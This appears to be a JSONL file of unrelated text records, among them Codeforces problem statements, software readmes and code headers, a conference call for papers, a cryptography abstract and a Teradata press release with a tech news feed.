{"text": "Calculating profit maximizing price, quantity and deadweight loss under monopoly.\n(A)find out the profit maximizing price and quantity along with the firms profit of a monopolist company. I am given the demand curve equal to y=80-p and also AC=8 MC=8.\n(B)What output would be produced under perfect competition assuming no change in costs?\n(C)Compute the dead weight loss due to monopoly also assume that the costst were to rise under a competitive market.\n(D) describe how much higher would they have to be such that the monopolist market would be considered the efficient market structure?\n(E)Calulate consumer and producer surplus for problems A and B .", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This ZenPack is for Cisco Adaptive Security Appliance (ASA), and provides CPU utilization, free memory available, active VPN tunnels, RAS sessions, and IKE dropped packets. It also includes all the necessary MIB configurations to handle incoming SNMP trap events from these appliances.\nZenoss Version: 2.5 (py2.4 file) 3.0 (py2.6 file)\nZenPack Dependencies: none\nExternal Dependencies: none\nInstallation: zopectl restart after installation\n- 2.1.1 : added compatibility with Zenoss 3.0.0\nTrac tickets: http://zenpacks.zenoss.org/trac-zenpacks/report/1\n- When upgrading from version 1.0 to version 2.0 of this ZenPack you will lose the history of the performance graphs. This is due the naming changes of the datapoints. I haven't been able to keep the old names with the new Zenoss version (3.0.0)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Submitting an Abstract to PNSQC\nFor 2021, the Program Committee is trying a new experiment: accepting some presentations without the requirement of writing a paper. For PNSQC this is controversial. The paper development process has been part of the conference since the early days. Which leads one to ask: Why is this controversial and what is the difference in writing a presentation versus a paper?\nPapers: Rigorous and Enduring\nThe Program Committee values the intellectual contribution of papers. It is one of the defining characteristics of PNSQC that differentiates our community from others in the world of software quality.\nDuring the Call for Proposals, authors submit an abstract that is no more than one-half page in length for evaluation by the Program Committee. If accepted, PNSQC assigns reviewers to work with the authors to provide suggestions and guidance, as necessary. Reviewers assist them in developing and editing to ensure the paper adheres to PNSQC standards. Papers must meet all conference deadlines to be made available to attendees prior to the event. All accepted papers will be presented by an author at the annual conference.\nAbove and beyond a normal presentation, the paper is published in the PNSQC proceedings and available forever in the conference archives. This provides a valuable reference for those pursuing similar interests in the future and becomes part of the body of knowledge of software quality; enriching the professional development of the author, as well as the paper’s readers.\nConference Presentations still require the submission of an abstract submission and the authors’ biographies / resumes, but the process skips from the abstract to a presentation for the conference. Just as with papers, Presenters will work with reviewers to refine the presentation concepts and format, but the end result is only a PowerPoint.\nGenerally, presentations are expected to be more focused. For more details on the difference between a paper and a presentation, check out the Call For Proposals (CFP) page.\nPosters: Creativity Encouraged\nJust like Papers and Presentations, Conference Posters require an abstract submission with the authors’ biographies. But a Poster is envisioned as a single-page placard that can be shared in a more intimate presentation between the subject and the audience.\nIn a physical conference setting, posters are normally single boards presented on a tripod with the presenter standing next to the poster. Since 2021 will be a virtual conference, the Program Committee is looking for people who want to unleash their creativity to present a succinct idea to the audience.\nBenefits of a Paper\nWhile the Presentation-only option is available, the Program Committee would like to encourage the value of writing a paper for the conference. In recognition of this achievement, the Committee will offer the following added benefits for Paper presenters:\n- 70% of all presentation time slots will be reserved for the authors of papers.\n- The primary author of papers attends PNSQC at no cost, and all coauthors attend at 30% off.\n- Free personal webpage on PNSQC website with links to paper, presentation, and abstract.\n- Certificate of Authorship signed by PNSQC Program Chair.\n- PNSQC T-Shirt featuring our annual theme.\n- Opportunities to participate in papers selection and review in future PNSQC conferences.\n- Satisfaction of having authored and published a peer reviewed paper on software quality.\nIf you’re uncertain about how to submit a proposal, please visit the Call for Proposals page or contact the Program Committee. PNSQC is dedicated to helping you help your career by speaking at the conference and becoming a software quality leader.\nHopefully you are now inspired to submit an abstract to PNSQC’s Call for Proposals. The Call is open through April 15, 2021. We look forward to seeing your proposal.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 769, "token_count_with_eod": 770, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "i am working on a flex+java combined project.\nMy IDE and computer configuration is as follows:\nWindows 7 Professional, 64-bit, Core2Duo 2.1GHz, 2GB Ram Eclipse (helios) with Flash Builder Premium v4.0 Eclipse plugin Flex=javaEE combined project with BlazeDS v184.108.40.20631 and Apache Tomcat 6 using BlazeDS remote object--RPC for flex+java communication.\nMy Problem is :\nAny change in java code is compiled immediately and appeared on output when i run the project on server.\nWhen i make a small change in Flex code (eg, reposition of a button...anything), and run the project on server, it does make any change on output. Actually it depends on my luck... because it makes change in output randomly.\nwhat is is happening???\ni tried rebuild, republish, clean , restart server, restarting the IDE, restarting the computer..... all available feature i could think. Also, i created a simple flex project on IDE and compiled it..... everything is compiled and displayed on output.\nPlease HELP ME.\nIOE, Pulchowk Campus, TU", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "new libJSON makefiles\n- A lot of people have asked me for makefiles instead of the Code::Blocks project files so I wrote makefiles for each platform. Should be good, but didn't try to make on Windows. If someone has a PC, maybe try and make it to make sure that it's correct? :)\nAlso, how do I get libJSON added to the list of libraries on http://www.json.org/? I asked a while ago, but libJSON wasn't complete, but it's been fully compliant for a while.\n[Non-text portions of this message have been removed]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A positive number $$$x$$$ of length $$$n$$$ in base $$$p$$$ ($$$2 \\le p \\le 10^9$$$) is written on the blackboard. The number $$$x$$$ is given as a sequence $$$a_1, a_2, \\dots, a_n$$$ ($$$0 \\le a_i < p$$$) — the digits of $$$x$$$ in order from left to right (most significant to least significant).\n\nDmitry is very fond of all the digits of this number system, so he wants to see each of them at least once.\n\nIn one operation, he can:\n\n- take any number $$$x$$$ written on the board, increase it by $$$1$$$, and write the new value $$$x + 1$$$ on the board.\n\nFor example, $$$p=5$$$ and $$$x=234_5$$$.\n\n- Initially, the board contains the digits $$$2$$$, $$$3$$$ and $$$4$$$;\n- Dmitry increases the number $$$234_5$$$ by $$$1$$$ and writes down the number $$$240_5$$$. On the board there are digits $$$0, 2, 3, 4$$$;\n- Dmitry increases the number $$$240_5$$$ by $$$1$$$ and writes down the number $$$241_5$$$. Now the board contains all the digits from $$$0$$$ to $$$4$$$.\n\nYour task is to determine the minimum number of operations required to make all the digits from $$$0$$$ to $$$p-1$$$ appear on the board at least once.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The capital of Berland has the only movie theater in the country. Besides, it consists of only one room. The room is divided into n rows, each row consists of m seats.\n\nThere are k people lined up to the box office, each person wants to buy exactly one ticket for his own entertainment. Before the box office started selling tickets, each person found the seat that seemed best for him and remembered it as a pair of coordinates (xi, yi), where xi is the row number, and yi is the seat number in this row.\n\nIt is possible that some people have chosen the same place, then when some people see their favorite seat taken in the plan of empty seats in the theater, they choose and buy a ticket to another place. Each of them has the following logic: let's assume that he originally wanted to buy a ticket to seat (x1, y1), then when he comes to the box office, he chooses such empty seat (x2, y2), which satisfies the following conditions:\n\n- the value of |x1 - x2| + |y1 - y2| is minimum\n- if the choice is not unique, then among the seats that satisfy the first condition, this person selects the one for which the value of x2 is minimum\n- if the choice is still not unique, among the seats that satisfy the first and second conditions, this person selects the one for which the value of y2 is minimum\n\nYour task is to find the coordinates of a seat for each person.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Bats! M3u is an extremely simple streaming media player.\nHow to use Bats! M3u\nBats! M3u does one thing: loads m3u files containing http and https URLs, and plays them. In principle you can also have file:// URLs in the m3u files, but relative paths are not (presently) supported.\nTo use Bats! M3u, download an M3u file, then open it in your file manager of choice. When prompted, select Bats! M3u to play the file.\nIf authorization is required, URLs in the m3u should use the http://username:password@host:port/ format.\nThe UI is entirely handled within the notification bar. Click the notification itself to end playback, or use the buttons to seek or pause.\nBats! M3u respects audio focus, which means it will gracefully exit if you start another media player. It will also pause when you remove your headphones, and while Bats! M3u is running your headset button will play/pause the music.\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Oracle Migration Factory helps you migrate or upgrade to the latest Oracle technologies from older versions of Oracle or non-Oracle software and hardware with a proven factory approach and best-practices.\nThe Oracle Migration Factory offers expertise and processes to migrate existing hardware and software environments to the latest Oracle technologies. The Oracle Migration Factory team combines deep product knowledge with proven, repeatable best practices to enable your migration to be planned and executed faster, with reduced risks, and at a lower cost.\nOracle hardware migration experts help you safely migrate technology from companies such as: Dell, HP, IBM, Oracle, and more.\nOracle Consulting has specialized expertise migrating databases from IBM, Informix, Microsoft, Oracle, MySQL, Sybase, and Teradata.\nOracle has middleware migration expertise that covers platforms such as Oracle, IBM, TIBCO, webMethods, Oracle GlassFish, and Java CAPS.\nOracle's application migration knowledge includes expertise with composite applications and technologies from companies including: Oracle, Red Hat/JBoss, IBM, and others.\nOracle's migration specialists accelerate business intelligence application migration from companies including Oracle, IBM/Cognos, MicroStrategy, SAP, and others.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 235, "token_count_with_eod": 236, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Oleg came to see the maze of mirrors. The maze is a $$$n$$$ by $$$n$$$ room in which each cell is either empty or contains a mirror connecting opposite corners of this cell. Mirrors in this maze reflect light in a perfect way, which causes the interesting visual effects and contributes to the loss of orientation in the maze.\n\nOleg is a person of curious nature, so he decided to install $$$n$$$ lasers facing internal of the maze on the south wall of the maze. On the north wall of the maze, Oleg installed $$$n$$$ receivers, also facing internal of the maze. Let's number lasers and receivers from west to east with distinct integers from $$$1$$$ to $$$n$$$. Each laser sends a beam of some specific kind and receiver with number $$$a_i$$$ should receive the beam sent from laser number $$$i$$$. Since two lasers' beams can't come to the same receiver, these numbers form a permutation — each of the receiver numbers occurs exactly once.\n\nYou came to the maze together with Oleg. Help him to place the mirrors in the initially empty maze so that the maximum number of lasers' beams will come to the receivers they should. There are no mirrors outside the maze, so if the laser beam leaves the maze, it will not be able to go back.", "source": "cpt_codeforces", "language": "en", "token_count": 269, "token_count_with_eod": 270, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We address the message authentication problem in two seemingly different communication models. In the first model, the sender and receiver are connected by an insecure channel and by a low-bandwidth auxiliary channel, that enables the sender to \"manually\" authenticate one short message to the receiver (for example, by typing a short string or comparing two short strings). We consider this model in a setting where no computational assumptions are made, and prove that for any 0 < ∈ < 1 there exists a log* n-round protocol for authenticating n-bit messages, in which only 2 log(1/∈) + O(1) bits are manually authenticated, and any adversary (even computationally unbounded) has probability of at most ∈ to cheat the receiver into accepting a fraudulent message. Moreover, we develop a proof technique showing that our protocol is essentially optimal by providing a lower bound of 2 log(1/∈) - 6 on the required length of the manually authenticated string. The second model we consider is the traditional message authentication model. In this model the sender and the receiver share a short secret key; however, they are connected only by an insecure channel. Once again, we apply our proof technique, and prove a lower bound of 2 log(1/∈) - 2 on the required Shannon entropy of the shared key. This settles an open question posed by Gemmell and Naor (CRYPTO '93). Finally, we prove that one-way functions are essential (and sufficient) for the existence of protocols breaking the above lower bounds in the computational setting.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 319, "token_count_with_eod": 320, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Töitä ei löytynyt\nPahoittelut, emme löytäneet etsimääsi työtä.\nLöydä viimeisimmät työt täältä:\ni need a to create a hover effect on wordpress images and galleries\nI have a PDF that needs to be type in order to replace/edit some text. I will need 2 files edited.\nI have some work, in an Excel spreadsheet.\nLooking for a virtual assistant, for social media & other online work (READ BEFORE BIDDING) You need to be able to: Write in Proper English Be good in social media like, Twitter, Reddit and Telegram channels Be a little creative (Tweeting) Have some knowledge about crypto currencies and technology (if not no problem you can learn about it that is fine to) On Reddit you will be writing, vot...\nI have a data analysis [kirjaudu nähdäksesi URL:n] need to only seperate the required information from a passage and copy it [kirjaudu nähdäksesi URL:n] have a lot of [kirjaudu nähdäksesi URL:n] file has 2-3 paragraphs and we need only 6-7 lines of data from them to be mined.\nWe have a project to build a Wix Website for our new Comparison Brand... We need a homepage Broadband Comparison Page: Which will have the following steps. Enter postcode Address Picker software picker pops up enquirer chooses address. Search deals Enquirer searches deal based on address. Deal pops up They add there Name, Number, Email... Simple comparison site... We have already ...\ni have two pdfs and i want write pdf on ms world\nNinosApp - Chotu Talent App is a kids talent app. We already have 3000+ downloads. We are in search of good and creative marketing intern for 3 months (who can work online/offline).\ncheck the image with error. will work together via teamviewer or anydesk. ssh console will be available without credentials given for security reasons. check image below", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef _W_JH_H_\n#define _W_JH_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\tvoid jh_scanHash_pre(unsigned char* input, unsigned  char* output, const unsigned int nonce);\n\tvoid jh_scanHash_post(unsigned char* input, unsigned char* output);\n#ifdef __cplusplus\n}\n#endif\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 77, "token_count_with_eod": 78, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "//\n//  HTBURLSession.h\n//  HTBURLSession Demo App\n//\n//  Created by Mark Aufflick on 4/12/2013.\n//  Copyright (c) 2013 The High Technology Bureau. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n/** Drop-in equivalent replacement for NSURLSession with better blocks support.\n\nThe only NSURLSession method not supported is `sharedSession` which is a bad idea IMO anyway.\n\nBehaviour should be identical to NSURLSession as all actual work is forwarded to an NSURLSession\ninstance internally. The only difference is that completion blocks and delegate callbacks are not\nmutually exclusive (which they are with NSURLSession). */\n\n@interface HTBURLSession : NSObject\n\n/** Returns an instance of HTBURLSession.\n\nReplaces NSURLSession's equivalent method, who's signature can't be used since it doesn't use instancetype.\n\n*/\n+ (instancetype)sessionWithConfiguration:(NSURLSessionConfiguration *)configuration;\n\n/** Returns an instance of HTBURLSession.\n\nReplaces NSURLSession's equivalent method, who's signature can't be used since it doesn't use instancetype. Also note\nthat the delegate type is slightly different because the message forwarding relies on methods implemented by NSObject,\nnot just those in the NSObject protocol. (If you have no idea what that means, check Mike Ash's excellent blog post\non the topic: http://www.mikeash.com/pyblog/friday-qa-2013-10-25-nsobject-the-class-and-the-protocol.html )\n\n*/\n+ (instancetype)sessionWithConfiguration:(NSURLSessionConfiguration *)configuration delegate:(NSObject <NSURLSessionDelegate> *)delegate delegateQueue:(NSOperationQueue *)queue;\n\n@end\n\n@interface HTBURLSession (NSURLSessionMethods)\n\n@property (readonly, retain) id <NSURLSessionDelegate> delegate;\n@property (readonly, retain) NSOperationQueue *delegateQueue;\n@property (readonly, copy) NSURLSessionConfiguration *configuration;\n@property (copy) NSString *sessionDescription;\n\n- (void)finishTasksAndInvalidate;\n- (void)invalidateAndCancel;\n- (void)resetWithCompletionHandler:(void (^)(void))completionHandler;\n- (void)flushWithCompletionHandler:(void (^)(void))completionHandler;\n- (void)getTasksWithCompletionHandler:(void (^)(NSArray *dataTasks, NSArray *uploadTasks, NSArray *downloadTasks))completionHandler;\n- (NSURLSessionDataTask *)dataTaskWithRequest:(NSURLRequest *)request;\n- (NSURLSessionDataTask *)dataTaskWithURL:(NSURL *)url;\n- (NSURLSessionUploadTask *)uploadTaskWithRequest:(NSURLRequest *)request fromFile:(NSURL *)fileURL;\n- (NSURLSessionUploadTask *)uploadTaskWithRequest:(NSURLRequest *)request fromData:(NSData *)bodyData;\n- (NSURLSessionUploadTask *)uploadTaskWithStreamedRequest:(NSURLRequest *)request;\n- (NSURLSessionDownloadTask *)downloadTaskWithRequest:(NSURLRequest *)request;\n- (NSURLSessionDownloadTask *)downloadTaskWithURL:(NSURL *)url;\n- (NSURLSessionDownloadTask *)downloadTaskWithResumeData:(NSData *)resumeData;\n\n// NSURLSessionAsynchronousConvenience\n\n- (NSURLSessionDataTask *)dataTaskWithRequest:(NSURLRequest *)request completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionDataTask *)dataTaskWithURL:(NSURL *)url completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionUploadTask *)uploadTaskWithRequest:(NSURLRequest *)request fromFile:(NSURL *)fileURL completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionUploadTask *)uploadTaskWithRequest:(NSURLRequest *)request fromData:(NSData *)bodyData completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionDownloadTask *)downloadTaskWithURL:(NSURL *)url completionHandler:(void (^)(NSURL *location, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionDownloadTask *)downloadTaskWithRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURL *location, NSURLResponse *response, NSError *error))completionHandler;\n- (NSURLSessionDownloadTask *)downloadTaskWithResumeData:(NSData *)resumeData completionHandler:(void (^)(NSURL *location, NSURLResponse *response, NSError *error))completionHandler;\n\n@end", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A Martian boy is named s — he has got this name quite recently from his parents for his coming of age birthday. Now he enjoys looking for his name everywhere. If he sees that he can obtain his name from some string by removing zero or more letters (at that, the remaining letters remain in the same order), he gets happy. For example, if s=«aba», then strings «baobab», «aabbaa», «helloabahello» make him very happy and strings «aab», «baaa» and «helloabhello» do not.\n\nHowever rather than being happy once, he loves twice as much being happy twice! So, when he got string t as a present, he wanted to cut it in two parts (the left part and the right part) so that each part made him happy.\n\nHelp s determine the number of distinct ways to cut the given string t into two parts in the required manner.", "source": "cpt_codeforces", "language": "en", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You're navigating your spaceship battling against waves of enemies and you gradually lose control of your ship whenever it gets damaged.\nMade for the GMTK Game Jam 2020\nEverything was made during the 48 hours jam including music and art.\nVersions for Windows and macos just download and play!\n- move with WASD or arrow keys\n- shoot with space bar\n@felipeViana - programming and music\n@vrauzito - art\nsource code: https://github.com/felipeViana/wacky_ship\nmade with Löve 2d version 11.3 https://love2d.org/\nSFX made with Bfxr https://www.bfxr.net/\nMusic made with BeepBox https://beepbox.co\nArt made with Pixilart https://www.pixilart.com/\nSystem requirements for PC\nSystem requirements for macOS\nLast Modified: Jul 13, 2020\nWhere to buy", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|By PR Newswire||\n|January 22, 2013 03:00 PM EST||\nDAYTON, Ohio, Jan. 22, 2013 /PRNewswire/ -- To highlight the volunteer work of Teradata employees worldwide, Teradata Cares is awarding five Celebration of Caring Awards. Teradata (NYSE: TDC), the leading analytic data solutions company, has recognized the winners' efforts with $1,000 grants to the charities where they volunteer, and with crystal awards to the winners to commemorate their exemplary dedication to volunteer service.\nA panel of 24 judges evaluated the Teradata Cares community relations volunteer program nominations. This is the fifth year of the Celebration of Caringawards.\nNOTE to Editors and Readers: photos of award winners are available in the Teradata News Room\nMike Koehler, Teradata president and chief executive officer.\n\"We are pleased to honor our Celebration of Caring award winners for their service, dedication and compassion in making significant volunteer contributions in their neighborhoods. These winners uphold a core Teradata value of social responsibility by fostering a tighter connection between company and community.\"\nSherri Morgan, director of community relations, Teradata Corporation.\n\"We received many nominations for the Celebration of Caring awards for the outstanding public service contributions made by our employees. The remarkable commitment of these winners to building stronger communities is an inspiration to all of us.\nSelected from Teradata's more than 10,000 employees worldwide, the 2012 Teradata Cares community relations volunteer program winners are:\n- 2012 Americas Employee of the Year – Tammy Gorman, Cincinnati, Ohio. Gorman is a Court Appointed Special Advocate for abused and neglected children. In 2012, she volunteered more than 375 hours of child advocacy service on behalf of eight children across five biological families. Trained Advocates are sworn officers of the court and are appointed by judges to attend all court hearings relative to a child's case and to represent the best interest of the child to the court. As an Advocate for nearly four years, Gorman has advocated for more than 20 children who have no one to be their voice.\n- 2012 EMEA Teradata Cares Employee of the Year – Maliha Elahi, Islamabad, Pakistan. Elahi conceptualized an idea to promote child education for girls at the same time encourage entrepreneurship in women living in poverty. She has dedicated more than 600 hours toward her efforts since 2010 and in May of 2012, Elahi was able to implement the education program. Now, 30 children in an impoverished area of Pakistan are in school. Further, the village woman who opened the school in her home has gained financial independence for the first time in her life.\n- 2012 Asia-Pacific Teradata Cares Employee of the Year – Ganesh Arcot, Hyderabad, India. Arcot was motivated by a desire to give back to the Tagores Home New Era Institute in Secunderabad, Andhra Pradesh, India, where he was educated. As a volunteer with Annapurna, Arcot, and others he recruited from the Teradata Hyderabad office, renovated the rest rooms, repaired electrical wires, transformed the school computer lab, set up a new library, and led a committee to sponsor students from the school who lacked financial support. Arcot has been serving the volunteer organization since 2006 and during 2012 invested more than 350 volunteer hours.\n- 2012 Teradata Cares Team of the Year – Teradata India Engineering Services Hyderabad, India. The Teradata India Engineering Services (TIES) Team focuses on education, medical, environmental and self-sustaining initiatives to help the community to help itself. More than 75 participants volunteered 1,800 hours in 2012. TIES volunteers sponsored faculty and education fees for an underprivileged school and donated books and backpacks with supplies to orphanages. The volunteers have also donated money for life-saving surgery and collected unused medicines to be redistributed to the needy. The team has also encouraged people to plant trees and recycle paper.\n- 2012 Teradata Cares Office of the Year – San Diego, California – In 2012, San Diego office employees volunteered more than 2,400 hours. Employees have restored natural habitat in the San Dieguito River Park, donated 157 pints of blood to the San Diego Blood Bank, and mentored FIRST robotics teams by training students on engineering and programming concepts. The Women of Teradata San Diego chapter raised $1,800 in donations for the Boys & Girls Club's Holiday Adopt-a-Family program, volunteered in a day care program and awarded $1,000 college scholarships to three local high school seniors majoring in science, technology, engineering or math disciplines. Together, the San Diego office volunteers have touched more than 900 lives and yielded more than $8,700 in donations to non-profit organizations.\nPhotos of individual and team award winners\nRead \"Winners Of The 2012 Teradata Cares Celebration of Caring Awards,\" Vision 2.0 blog\nSee Maliha Elahi's project on YouTube or Facebook.\nAdditional details about Teradata Cares community relations\nTeradata Corporation (NYSE: TDC) is the world's leading analytic data solutions company, focused on integrated data warehousing, big data analytics, and business applications. Teradata's innovative products and services deliver data integration and business insight to empower organizations to make the best decisions possible and achieve competitive advantage. Visit teradata.com for details.\nGet to know Teradata:\nTeradata is a trademark or registered trademark of Teradata Corporation in the United States and other countries.\nSYS-CON Events announced today that Commvault, a global leader in enterprise data protection and information management, has been named “Bronze Sponsor” of SYS-CON's 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. Commvault is a leading provider of data protection and information management solutions, helping companies worldwide activate their data to drive more value and business insight and to transform moder...\nSep. 27, 2016 01:15 PM EDT Reads: 2,714\nIoT is fundamentally transforming the auto industry, turning the vehicle into a hub for connected services, including safety, infotainment and usage-based insurance. Auto manufacturers – and businesses across all verticals – have built an entire ecosystem around the Connected Car, creating new customer touch points and revenue streams. In his session at @ThingsExpo, Macario Namie, Head of IoT Strategy at Cisco Jasper, will share real-world examples of how IoT transforms the car from a static p...\nSep. 27, 2016 01:00 PM EDT Reads: 1,586\nThere is little doubt that Big Data solutions will have an increasing role in the Enterprise IT mainstream over time. Big Data at Cloud Expo - to be held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA - has announced its Call for Papers is open. Cloud computing is being adopted in one form or another by 94% of enterprises today. Tens of billions of new devices are being connected to The Internet of Things. And Big Data is driving this bus. An exponential increase is...\nSep. 27, 2016 01:00 PM EDT Reads: 2,647\nIf you had a chance to enter on the ground level of the largest e-commerce market in the world – would you? China is the world’s most populated country with the second largest economy and the world’s fastest growing market. It is estimated that by 2018 the Chinese market will be reaching over $30 billion in gaming revenue alone. Admittedly for a foreign company, doing business in China can be challenging. Often changing laws, administrative regulations and the often inscrutable Chinese Interne...\nSep. 27, 2016 12:26 PM EDT Reads: 138\nSYS-CON Events has announced today that Roger Strukhoff has been named conference chair of Cloud Expo and @ThingsExpo 2016 Silicon Valley. The 19th Cloud Expo and 6th @ThingsExpo will take place on November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. \"The Internet of Things brings trillions of dollars of opportunity to developers and enterprise IT, no matter how you measure it,\" stated Roger Strukhoff. \"More importantly, it leverages the power of devices and the Interne...\nSep. 27, 2016 12:15 PM EDT Reads: 3,187\nInternet of @ThingsExpo, taking place November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with the 19th International Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world and ThingsExpo Silicon Valley Call for Papers is now open.\nSep. 27, 2016 12:15 PM EDT Reads: 4,544\nComplete Internet of Things (IoT) embedded device security is not just about the device but involves the entire product’s identity, data and control integrity, and services traversing the cloud. A device can no longer be looked at as an island; it is a part of a system. In fact, given the cross-domain interactions enabled by IoT it could be a part of many systems. Also, depending on where the device is deployed, for example, in the office building versus a factory floor or oil field, security ha...\nSep. 27, 2016 12:15 PM EDT Reads: 206\nSYS-CON Events announced today that China Unicom will exhibit at the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. China United Network Communications Group Co. Ltd (\"China Unicom\") was officially established in 2009 on the basis of the merger of former China Netcom and former China Unicom. China Unicom mainly operates a full range of telecommunications services including mobile broadband (GSM, WCDMA, LTE F...\nSep. 27, 2016 12:00 PM EDT Reads: 1,780\n\"My role is working with customers, helping them go through this digital transformation. I spend a lot of time talking to banks, big industries, manufacturers working through how they are integrating and transforming their IT platforms and moving them forward,\" explained William Morrish, General Manager Product Sales at Interoute, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.\nSep. 27, 2016 12:00 PM EDT Reads: 3,848\nVideo experiences should be unique and exciting! But that doesn’t mean you need to patch all the pieces yourself. Users demand rich and engaging experiences and new ways to connect with you. But creating robust video applications at scale can be complicated, time-consuming and expensive. In his session at @ThingsExpo, Zohar Babin, Vice President of Platform, Ecosystem and Community at Kaltura, will discuss how VPaaS enables you to move fast, creating scalable video experiences that reach your...\nSep. 27, 2016 12:00 PM EDT Reads: 1,054\nIn his keynote at 18th Cloud Expo, Andrew Keys, Co-Founder of ConsenSys Enterprise, provided an overview of the evolution of the Internet and the Database and the future of their combination – the Blockchain. Andrew Keys is Co-Founder of ConsenSys Enterprise. He comes to ConsenSys Enterprise with capital markets, technology and entrepreneurial experience. Previously, he worked for UBS investment bank in equities analysis. Later, he was responsible for the creation and distribution of life sett...\nSep. 27, 2016 12:00 PM EDT Reads: 3,484\nIs your aging software platform suffering from technical debt while the market changes and demands new solutions at a faster clip? It’s a bold move, but you might consider walking away from your core platform and starting fresh. ReadyTalk did exactly that. In his General Session at 19th Cloud Expo, Michael Chambliss, Head of Engineering at ReadyTalk, will discuss why and how ReadyTalk diverted from healthy revenue and over a decade of audio conferencing product development to start an innovati...\nSep. 27, 2016 11:45 AM EDT Reads: 1,923\nIn his general session at 18th Cloud Expo, Lee Atchison, Principal Cloud Architect and Advocate at New Relic, discussed cloud as a ‘better data center’ and how it adds new capacity (faster) and improves application availability (redundancy). The cloud is a ‘Dynamic Tool for Dynamic Apps’ and resource allocation is an integral part of your application architecture, so use only the resources you need and allocate /de-allocate resources on the fly.\nSep. 27, 2016 11:45 AM EDT Reads: 2,725\n“We're a global managed hosting provider. Our core customer set is a U.S.-based customer that is looking to go global,” explained Adam Rogers, Managing Director at ANEXIA, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.\nSep. 27, 2016 11:30 AM EDT Reads: 3,000\nSYS-CON Events announced today that SoftLayer, an IBM Company, has been named “Gold Sponsor” of SYS-CON's 18th Cloud Expo, which will take place on June 7-9, 2016, at the Javits Center in New York, New York. SoftLayer, an IBM Company, provides cloud infrastructure as a service from a growing number of data centers and network points of presence around the world. SoftLayer’s customers range from Web startups to global enterprises.\nSep. 27, 2016 11:15 AM EDT Reads: 959\nThe vision of a connected smart home is becoming reality with the application of integrated wireless technologies in devices and appliances. The use of standardized and TCP/IP networked wireless technologies in line-powered and battery operated sensors and controls has led to the adoption of radios in the 2.4GHz band, including Wi-Fi, BT/BLE and 802.15.4 applied ZigBee and Thread. This is driving the need for robust wireless coexistence for multiple radios to ensure throughput performance and th...\nSep. 27, 2016 11:00 AM EDT Reads: 1,598\nFifty billion connected devices and still no winning protocols standards. HTTP, WebSockets, MQTT, and CoAP seem to be leading in the IoT protocol race at the moment but many more protocols are getting introduced on a regular basis. Each protocol has its pros and cons depending on the nature of the communications. Does there really need to be only one protocol to rule them all? Of course not. In his session at @ThingsExpo, Chris Matthieu, co-founder and 